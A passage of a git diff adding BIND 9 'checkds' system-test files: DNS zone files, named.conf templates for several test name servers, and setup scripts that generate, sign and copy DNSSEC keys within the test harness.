+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns5
+ns5				A	10.53.0.5
+
+no-ent				NS	ns9.no-ent
+ns9.no-ent			A	10.53.0.9
+
+$ORIGIN explicit.dspublish.ns5.
+not-yet				NS	ns9.not-yet
+ns9.not-yet			A	10.53.0.9
+
+$ORIGIN yes.dspublish.ns5.
+not-yet				NS	ns9.not-yet
+ns9.not-yet			A	10.53.0.9
+
+$ORIGIN explicit.dsremoved.ns5.
+good				NS	ns9.good
+resolver			NS	ns9.resolver
+ns9.good			A	10.53.0.9
+ns9.resolver			A	10.53.0.9
+
+$ORIGIN yes.dsremoved.ns5.
+good				NS	ns9.good
+resolver			NS	ns9.resolver
+ns9.good			A	10.53.0.9
+ns9.resolver			A	10.53.0.9
+
+$ORIGIN no.dsremoved.ns5.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns2/ns6.db.in b/bin/tests/system/checkds/ns2/ns6.db.in
new file mode 100644
index 0000000000..59e28543e0
--- /dev/null
+++ b/bin/tests/system/checkds/ns2/ns6.db.in
@@ -0,0 +1,38 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns6
+ns6				A	10.53.0.6
+
+$ORIGIN explicit.dspublish.ns6.
+bad				NS	ns9.bad
+ns9.bad				A	10.53.0.9
+
+$ORIGIN explicit.dsremoved.ns6.
+bad				NS	ns9.bad
+ns9.bad				A	10.53.0.9
+
+$ORIGIN yes.dspublish.ns6.
+bad				NS	ns9.bad
+ns9.bad				A	10.53.0.9
+
+$ORIGIN yes.dsremoved.ns6.
+bad				NS	ns9.bad
+ns9.bad				A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns2/setup.sh b/bin/tests/system/checkds/ns2/setup.sh
new file mode 100644
index 0000000000..a549e3a2ca
--- /dev/null
+++ b/bin/tests/system/checkds/ns2/setup.sh
@@ -0,0 +1,34 @@
+#!/bin/sh -e
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. ../../conf.sh
+
+echo_i "ns2/setup.sh"
+
+for zn in \
+	ns2 ns2-4 ns2-4-5 ns2-4-6 ns2-5-7 \
+	ns5 ns5-6-7 ns5-7 ns6
+do
+	zone="${zn}"
+	infile="${zn}.db.infile"
+	zonefile="${zn}.db"
+
+	# The signing key is copied from ns5.
+	CSK=$(cat "${zn}.keyname")
+	cat "${zn}.db.in" "${CSK}.key" > "$infile"
+	private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK" >> "$infile"
+	$SIGNER -S -g -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone 2>&1
+
+	cp "dsset-${zn}." ../ns1/
+done
diff --git a/bin/tests/system/checkds/ns3/named.conf.in b/bin/tests/system/checkds/ns3/named.conf.in
new file mode 100644
index 0000000000..54bfc99898
--- /dev/null
+++ b/bin/tests/system/checkds/ns3/named.conf.in
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS3
+
+options {
+	query-source address 10.53.0.3;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.3; };
+	listen-on-v6 { none; };
+	recursion yes;
+	dnssec-validation yes;
+	session-keyfile "session.key";
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "." {
+	type hint;
+	file "../../common/root.hint";
+};
+
+include "trusted.conf";
diff --git a/bin/tests/system/checkds/ns4/named.conf.in b/bin/tests/system/checkds/ns4/named.conf.in
new file mode 100644
index 0000000000..75bd470b85
--- /dev/null
+++ b/bin/tests/system/checkds/ns4/named.conf.in
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS4
+
+options {
+	query-source address 10.53.0.4;
+	notify-source 10.53.0.4;
+	transfer-source 10.53.0.4;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.4; };
+	listen-on-v6 { none; };
+	allow-transfer { any; };
+	recursion no;
+	dnssec-validation no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.4 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "ns2" {
+	type secondary;
+	primaries source 10.53.0.4 { 10.53.0.2 port @PORT@; };
+	file "ns2.db";
+};
+
+zone "ns2-4" {
+	type secondary;
+	primaries source 10.53.0.4 { 10.53.0.2 port @PORT@; };
+	file "ns2-4.db";
+};
+
+zone "ns2-4-5" {
+	type secondary;
+	primaries source 10.53.0.4 { 10.53.0.2 port @PORT@; };
+	file "ns2-4-5.db";
+};
+
+zone "ns2-4-6" {
+	type secondary;
+	primaries source 10.53.0.4 { 10.53.0.2 port @PORT@; };
+	file "ns2-4-6.db";
+};
+
+zone "ns2-5-7" {
+	type secondary;
+	primaries source 10.53.0.4 { 10.53.0.2 port @PORT@; };
+	file "ns2-5-7.db";
+};
+
+zone "ns5" {
+	type secondary;
+	primaries source 10.53.0.4 { 10.53.0.2 port @PORT@; };
+	file "ns5.db";
+};
+
+zone "ns5-6-7" {
+	type secondary;
+	primaries source 10.53.0.4 { 10.53.0.2 port @PORT@; };
+	file "ns5-6-7.db";
+};
+
+zone "ns5-7" {
+	type secondary;
+	primaries source 10.53.0.4 { 10.53.0.2 port @PORT@; };
+	file "ns5-7.db";
+};
+
+zone "ns6" {
+	type secondary;
+	primaries source 10.53.0.4 { 10.53.0.2 port @PORT@; };
+	file "ns6.db";
+};
diff --git a/bin/tests/system/checkds/ns5/named.conf.in b/bin/tests/system/checkds/ns5/named.conf.in
new file mode 100644
index 0000000000..01a2d11f94
--- /dev/null
+++ b/bin/tests/system/checkds/ns5/named.conf.in
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS5
+
+options {
+	query-source address 10.53.0.5;
+	notify-source 10.53.0.5;
+	transfer-source 10.53.0.5;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.5; };
+	listen-on-v6 { none; };
+	allow-transfer { any; };
+	recursion no;
+	dnssec-validation no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.5 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "." {
+	type hint;
+	file "../../common/root.hint";
+};
+
+zone "ns2" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.5; 10.53.0.7; 10.53.0.10; };
+	also-notify { 10.53.0.7; 10.53.0.10; };
+	dnssec-policy default;
+	file "ns2.db";
+};
+
+zone "ns2-4" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.5; 10.53.0.7; 10.53.0.10; };
+	also-notify { 10.53.0.7; 10.53.0.10; };
+	dnssec-policy default;
+	file "ns2-4.db";
+};
+
+zone "ns2-4-5" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.5; 10.53.0.7; 10.53.0.10; };
+	also-notify { 10.53.0.7; 10.53.0.10; };
+	dnssec-policy default;
+	file "ns2-4-5.db";
+};
+
+zone "ns2-4-6" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.5; 10.53.0.7; 10.53.0.10; };
+	also-notify { 10.53.0.7; 10.53.0.10; };
+	dnssec-policy default;
+	file "ns2-4-6.db";
+};
+
+zone "ns2-5-7" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.5; 10.53.0.7; 10.53.0.10; };
+	also-notify { 10.53.0.7; 10.53.0.10; };
+	dnssec-policy default;
+	file "ns2-5-7.db";
+};
+
+zone "ns5" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.5; 10.53.0.7; 10.53.0.10; };
+	also-notify { 10.53.0.7; 10.53.0.10; };
+	dnssec-policy default;
+	file "ns5.db";
+};
+
+zone "ns5-6-7" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.5; 10.53.0.7; 10.53.0.10; };
+	also-notify { 10.53.0.7; 10.53.0.10; };
+	dnssec-policy default;
+	file "ns5-6-7.db";
+};
+
+zone "ns5-7" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.5; 10.53.0.7; 10.53.0.10; };
+	also-notify { 10.53.0.7; 10.53.0.10; };
+	dnssec-policy default;
+	file "ns5-7.db";
+};
+
+zone "ns6" {
+	type primary;
+	allow-update { any; };
+	allow-transfer { 10.53.0.5; 10.53.0.7; 10.53.0.10; };
+	also-notify { 10.53.0.7; 10.53.0.10; };
+	dnssec-policy default;
+	file "ns6.db";
+};
diff --git a/bin/tests/system/checkds/ns5/ns2-4-5.db.in b/bin/tests/system/checkds/ns5/ns2-4-5.db.in
new file mode 100644
index 0000000000..3a8b69432e
--- /dev/null
+++ b/bin/tests/system/checkds/ns5/ns2-4-5.db.in
@@ -0,0 +1,34 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns2
+				NS	ns4
+				NS	ns5
+ns2				A	10.53.0.2
+ns4				A	10.53.0.4
+ns5				A	10.53.0.5
+
+$ORIGIN explicit.dspublish.ns2-4-5.
+incomplete			NS	ns9.incomplete
+ns9.imcomplete			A	10.53.0.9
+
+$ORIGIN yes.dspublish.ns2-4-5.
+incomplete			NS	ns9.incomplete
+ns9.imcomplete			A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns5/ns2-4-6.db.in b/bin/tests/system/checkds/ns5/ns2-4-6.db.in
new file mode 100644
index 0000000000..b29fabc982
--- /dev/null
+++ b/bin/tests/system/checkds/ns5/ns2-4-6.db.in
@@ -0,0 +1,34 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns2
+				NS	ns4
+				NS	ns6
+ns2				A	10.53.0.2
+ns4				A	10.53.0.4
+ns6				A	10.53.0.6
+
+$ORIGIN explicit.dspublish.ns2-4-6.
+bad				NS	ns9.bad
+ns9.bad				A	10.53.0.9
+
+$ORIGIN yes.dspublish.ns2-4-6.
+bad				NS	ns9.bad
+ns9.bad				A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns5/ns2-4.db.in b/bin/tests/system/checkds/ns5/ns2-4.db.in
new file mode 100644
index 0000000000..d5761a52fe
--- /dev/null
+++ b/bin/tests/system/checkds/ns5/ns2-4.db.in
@@ -0,0 +1,36 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns2
+				NS	ns4
+ns2				A	10.53.0.2
+ns4				A	10.53.0.4
+
+$ORIGIN explicit.dspublish.ns2-4.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
+
+$ORIGIN yes.dspublish.ns2-4.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
+
+$ORIGIN no.dspublish.ns2-4.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns5/ns2-5-7.db.in b/bin/tests/system/checkds/ns5/ns2-5-7.db.in
new file mode 100644
index 0000000000..b1fe39c6a5
--- /dev/null
+++ b/bin/tests/system/checkds/ns5/ns2-5-7.db.in
@@ -0,0 +1,34 @@
+	; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns2
+				NS	ns5
+				NS	ns7
+ns2				A	10.53.0.2
+ns5				A	10.53.0.5
+ns7				A	10.53.0.7
+
+$ORIGIN explicit.dsremoved.ns2-5-7.
+incomplete			NS	ns9.incomplete
+ns9.incomplete			A	10.53.0.9
+
+$ORIGIN yes.dsremoved.ns2-5-7.
+incomplete			NS	ns9.incomplete
+ns9.incomplete			A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns5/ns2.db.in b/bin/tests/system/checkds/ns5/ns2.db.in
new file mode 100644
index 0000000000..5d59a06b66
--- /dev/null
+++ b/bin/tests/system/checkds/ns5/ns2.db.in
@@ -0,0 +1,49 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns2
+ns2				A	10.53.0.2
+
+no-ent				NS	ns9.no-ent
+ns9.no-ent			A	10.53.0.9
+
+$ORIGIN explicit.dspublish.ns2.
+good				NS	ns9.good
+reference			NS	ns9.reference
+resolver			NS	ns9.resolver
+ns9.good			A	10.53.0.9
+ns9.reference			A	10.53.0.9
+ns9.resolver			A	10.53.0.9
+
+$ORIGIN yes.dspublish.ns2.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
+
+$ORIGIN no.dspublish.ns2.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
+
+$ORIGIN explicit.dsremoved.ns2.
+still-there			NS	ns9.still-there
+ns9.still-there			A	10.53.0.9
+
+$ORIGIN yes.dsremoved.ns2.
+still-there			NS	ns9.still-there
+ns9.still-there			A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns5/ns5-6-7.db.in b/bin/tests/system/checkds/ns5/ns5-6-7.db.in
new file mode 100644
index 0000000000..6be4649886
--- /dev/null
+++ b/bin/tests/system/checkds/ns5/ns5-6-7.db.in
@@ -0,0 +1,34 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns5
+				NS	ns6
+				NS	ns7
+ns5				A	10.53.0.5
+ns6				A	10.53.0.6
+ns7				A	10.53.0.7
+
+$ORIGIN explicit.dsremoved.ns5-6-7.
+bad				NS	ns9.bad
+ns9.bad				A	10.53.0.9
+
+$ORIGIN yes.dsremoved.ns5-6-7.
+bad				NS	ns9.bad
+ns9.bad				A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns5/ns5-7.db.in b/bin/tests/system/checkds/ns5/ns5-7.db.in
new file mode 100644
index 0000000000..14e19858d8
--- /dev/null
+++ b/bin/tests/system/checkds/ns5/ns5-7.db.in
@@ -0,0 +1,36 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns5
+				NS	ns7
+ns5				A	10.53.0.5
+ns7				A	10.53.0.7
+
+$ORIGIN explicit.dsremoved.ns5-7.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
+
+$ORIGIN yes.dsremoved.ns5-7.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
+
+$ORIGIN no.dsremoved.ns5-7.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns5/ns5.db.in b/bin/tests/system/checkds/ns5/ns5.db.in
new file mode 100644
index 0000000000..640af0f78e
--- /dev/null
+++ b/bin/tests/system/checkds/ns5/ns5.db.in
@@ -0,0 +1,49 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns5
+ns5				A	10.53.0.5
+
+no-ent				NS	ns9.no-ent
+ns9.no-ent			A	10.53.0.9
+
+$ORIGIN explicit.dspublish.ns5.
+not-yet				NS	ns9.not-yet
+ns9.not-yet			A	10.53.0.9
+
+$ORIGIN yes.dspublish.ns5.
+not-yet				NS	ns9.not-yet
+ns9.not-yet			A	10.53.0.9
+
+$ORIGIN explicit.dsremoved.ns5.
+good				NS	ns9.good
+resolver			NS	ns9.resolver
+ns9.good			A	10.53.0.9
+ns9.resolver			A	10.53.0.9
+
+$ORIGIN yes.dsremoved.ns5.
+good				NS	ns9.good
+resolver			NS	ns9.resolver
+ns9.good			A	10.53.0.9
+ns9.resolver			A	10.53.0.9
+
+$ORIGIN no.dsremoved.ns5.
+good				NS	ns9.good
+ns9.good			A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns5/ns6.db.in b/bin/tests/system/checkds/ns5/ns6.db.in
new file mode 100644
index 0000000000..59e28543e0
--- /dev/null
+++ b/bin/tests/system/checkds/ns5/ns6.db.in
@@ -0,0 +1,38 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@			IN	SOA  secondary.example. hostmaster.example. (
+				1       ; serial
+				20      ; refresh (20 seconds)
+				20      ; retry (20 seconds)
+				1814400 ; expire (3 weeks)
+				3600    ; minimum (1 hour)
+				)
+
+				NS	ns6
+ns6				A	10.53.0.6
+
+$ORIGIN explicit.dspublish.ns6.
+bad				NS	ns9.bad
+ns9.bad				A	10.53.0.9
+
+$ORIGIN explicit.dsremoved.ns6.
+bad				NS	ns9.bad
+ns9.bad				A	10.53.0.9
+
+$ORIGIN yes.dspublish.ns6.
+bad				NS	ns9.bad
+ns9.bad				A	10.53.0.9
+
+$ORIGIN yes.dsremoved.ns6.
+bad				NS	ns9.bad
+ns9.bad				A	10.53.0.9
diff --git a/bin/tests/system/checkds/ns5/setup.sh b/bin/tests/system/checkds/ns5/setup.sh
new file mode 100644
index 0000000000..d2466f51e5
--- /dev/null
+++ b/bin/tests/system/checkds/ns5/setup.sh
@@ -0,0 +1,36 @@
+#!/bin/sh -e
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. ../../conf.sh
+
+echo_i "ns5/setup.sh"
+
+for zn in \
+	ns2 ns2-4 ns2-4-5 ns2-4-6 ns2-5-7 \
+	ns5 ns5-6-7 ns5-7 ns6
+do
+	zone="${zn}"
+	infile="${zn}.db.infile"
+	zonefile="${zn}.db"
+
+	CSK=$($KEYGEN -k default $zone 2> keygen.out.$zone)
+	cat "${zn}.db.in" "${CSK}.key" > "$infile"
+	private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK" >> "$infile"
+	$SIGNER -S -g -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone 2>&1
+
+	# Copy key to ns2, the other primary.
+	echo "${CSK}" > "../ns2/${zn}.keyname"
+	cp "${CSK}.key" ../ns2/
+	cp "${CSK}.private" ../ns2/
+done
diff --git a/bin/tests/system/checkds/ns6/named.conf.in b/bin/tests/system/checkds/ns6/named.conf.in
new file mode 100644
index 0000000000..cc226fbd95
--- /dev/null
+++ b/bin/tests/system/checkds/ns6/named.conf.in
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS2
+
+options {
+	query-source address 10.53.0.6;
+	notify-source 10.53.0.6;
+	transfer-source 10.53.0.6;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.6; };
+	listen-on-v6 { none; };
+	allow-transfer { any; };
+	recursion no;
+	dnssec-validation no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.6 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "." {
+	type hint;
+	file "../../common/root.hint";
+};
+
+zone "foo" {
+	type primary;
+	file "foo.db";
+};
diff --git a/bin/tests/system/checkds/ns7/named.conf.in b/bin/tests/system/checkds/ns7/named.conf.in
new file mode 100644
index 0000000000..f3e562b697
--- /dev/null
+++ b/bin/tests/system/checkds/ns7/named.conf.in
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS7
+
+options {
+	query-source address 10.53.0.7;
+	notify-source 10.53.0.7;
+	transfer-source 10.53.0.7;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.7; };
+	listen-on-v6 { none; };
+	allow-transfer { any; };
+	recursion no;
+	dnssec-validation no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.7 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "ns2" {
+	type secondary;
+	primaries source 10.53.0.7 { 10.53.0.5 port @PORT@; };
+	file "ns2.db";
+};
+
+zone "ns2-4" {
+	type secondary;
+	primaries source 10.53.0.7 { 10.53.0.5 port @PORT@; };
+	file "ns2-4.db";
+};
+
+zone "ns2-4-5" {
+	type secondary;
+	primaries source 10.53.0.7 { 10.53.0.5 port @PORT@; };
+	file "ns2-4-5.db";
+};
+
+zone "ns2-4-6" {
+	type secondary;
+	primaries source 10.53.0.7 { 10.53.0.5 port @PORT@; };
+	file "ns2-4-6.db";
+};
+
+zone "ns2-5-7" {
+	type secondary;
+	primaries source 10.53.0.7 { 10.53.0.5 port @PORT@; };
+	file "ns2-5-7.db";
+};
+
+zone "ns5" {
+	type secondary;
+	primaries source 10.53.0.7 { 10.53.0.5 port @PORT@; };
+	file "ns5.db";
+};
+
+zone "ns5-6-7" {
+	type secondary;
+	primaries source 10.53.0.7 { 10.53.0.5 port @PORT@; };
+	file "ns5-6-7.db";
+};
+
+zone "ns5-7" {
+	type secondary;
+	primaries source 10.53.0.7 { 10.53.0.5 port @PORT@; };
+	file "ns5-7.db";
+};
+
+zone "ns6" {
+	type secondary;
+	primaries source 10.53.0.7 { 10.53.0.5 port @PORT@; };
+	file "ns6.db";
+};
diff --git a/bin/tests/system/checkds/ns8/named.conf.in b/bin/tests/system/checkds/ns8/named.conf.in
new file mode 100644
index 0000000000..69e75eecd3
--- /dev/null
+++ b/bin/tests/system/checkds/ns8/named.conf.in
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS8
+
+options {
+	query-source address 10.53.0.8;
+	notify-source 10.53.0.8;
+	transfer-source 10.53.0.8;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.8; };
